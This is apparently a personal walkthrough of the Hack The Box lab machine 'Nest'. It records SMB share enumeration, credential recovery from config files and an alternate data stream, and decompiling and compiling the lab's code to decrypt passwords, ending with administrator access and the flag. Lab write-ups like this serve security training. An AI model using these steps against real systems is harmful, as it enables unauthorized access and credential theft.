Nest
- Commands can be run by adding -C flag (automatically sends CRLF) in nc nc -Cv nest.htb 4386 telnet nest.htb 4386 - SMB Share with some sort of misconfiguration smbclient -U '' -L nest.htb get "<filename-with-spaces>" - Listing directories and files recursively smbmap -H 10.10.10.178 -u '' -R smbmap -H 10.10.10.178 -u '[redacted]' -p '[redacted]' -R - Downloading files ending with .xml smbmap -H 10.10.10.178 -u '[redacted]' -p '[redacted]' -R -A '.xml' cat 10.10.10.178-Data_IT_Configs_RU\ Scanner_RU_config.xml <?xml version="1.0"?> <ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <Port>389</Port> <Username>[redacted]</Username> <Password>[redacted]</Password> </ConfigFile> - Password is encrypted string [Didn't work] smbclient -U "[redacted]%$(echo '[redacted]' | base64 -d)" nest.htb -L - SMB root folder not accessible but child folder 'Carl' is
cat 10.10.10.178-Data_IT_Configs_NotepadPlusPlus_config.xml <History nbMaxFile="15" inSubMenu="no" customLength="-1"> <File filename="C:\windows\System32\drivers\etc\hosts" /> <File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" /> <File filename="C:\Users\C.Smith\Desktop\todo.txt" /> </History> - Decrypting user password - Convert the file 'Utils.vb' to a C-sharp file. https://converter.telerik.com/ Note: tried : 'wine64 cscript Utils.vb' to compile but there were errors [to-do?] - Add 'public static void main' to the 'Utils' class and create an object to call the 'Decrypt function'. Remove 'static' from 'Decrypt' function.
- mcs Utils.cs - mono Utils.exe - smbclient -U '[redacted]%[redacted]' //10.10.10.178/Users - Fetching Debug password https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/ - smbclient -U '[redacted]%[redacted]' //10.10.10.178/Users - allinfo "Debug Mode Password.txt" - get "Debug Mode Password.txt:Password" Debug mode password - [redacted] - LDAP Data - setdir ..\ldap - showquery 2 [Ldap.conf] Domain=nest.local Port=389 BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local User=Administrator Password=[redacted] - Decompiling HQLdap.exe - ilspy - Open HQLdap.exe
- Save code for class "CR" - Add the following code inside the class "CR":
- mcs CR.cs - mono CR.exe - Accessing Administrator directory - smbclient -U 'administrator%[redacted]' //10.10.10.178/C$ - cd Users/Administrator/Desktop/ - get flag.txt -
Last updated